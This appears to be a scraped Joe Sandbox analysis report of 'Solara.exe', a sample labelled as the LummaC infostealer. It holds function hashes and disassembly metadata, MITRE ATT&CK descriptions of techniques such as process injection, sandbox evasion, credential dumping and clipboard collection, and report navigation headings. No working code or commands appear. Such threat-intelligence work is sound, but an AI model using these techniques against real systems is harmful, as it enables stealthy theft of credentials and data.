Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: ac5f53bf3b6b9ed2dece163664009ffda035412d38e0f51c80c173edb03aeaa7
Instruction ID: d23a64481f0f8dd333442f91b3118aa201e4550dbd1a39fd43d75c652f076da9
Opcode Fuzzy Hash: ac5f53bf3b6b9ed2dece163664009ffda035412d38e0f51c80c173edb03aeaa7
Instruction Fuzzy Hash: 2F219031D1031DEBCF36DF95D849AEEB7B8AF54710F184409E505AB1A2CB70AD65CB81

Function 0020B46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00202673

Strings

ios_base::badbit set, xrefs: 00202650
bad array new length, xrefs: 00202626

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 900093027eec3d485880b470cb47ee4bfd05eeafb4e3b4173c98f43f4418dcbf
Instruction ID: aded9947e00df311e48c486714c02fcb1033ce9886c01ee909f178529cbbf44b
Opcode Fuzzy Hash: 900093027eec3d485880b470cb47ee4bfd05eeafb4e3b4173c98f43f4418dcbf
Instruction Fuzzy Hash: 3D01D4F1524305ABDB14DF28E856A5A7BE8AF18318F00881CF4599B351D376E968CB81

Function 00202610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0021060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0020F354,00000000,?,?,?,0020F354,00203D4A,0023759C,00203D4A), ref: 0021066D

___std_exception_copy.LIBVCRUNTIME ref: 00202673

Strings

ios_base::badbit set, xrefs: 00202650
bad array new length, xrefs: 00202626

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 3a091ecabf108bb24c8a22d232eddc0bd30bd3e776c84db78c74645e5f6b1ddb
Instruction ID: 578e92895e6a201dae27cebb0ad3b06f97f9c027664929010d58e4ce635e6d75
Opcode Fuzzy Hash: 3a091ecabf108bb24c8a22d232eddc0bd30bd3e776c84db78c74645e5f6b1ddb
Instruction Fuzzy Hash: 22F0F8F1524310ABD700AF58E84A74BBBE8EB59718F01881CF598AB311D3B5D5A8CF92

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Solara.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
Solara.exe

Function 0023A19E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00201FB0 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Function 002024B0 Relevance: 10.6, APIs: 7, Instructions: 83
threadCOMMON

Function 0021CF0B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00201750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Function 00215349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Function 002154EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Function 0021565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00223BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 002243CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 002090F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Function 0021DA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00201EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre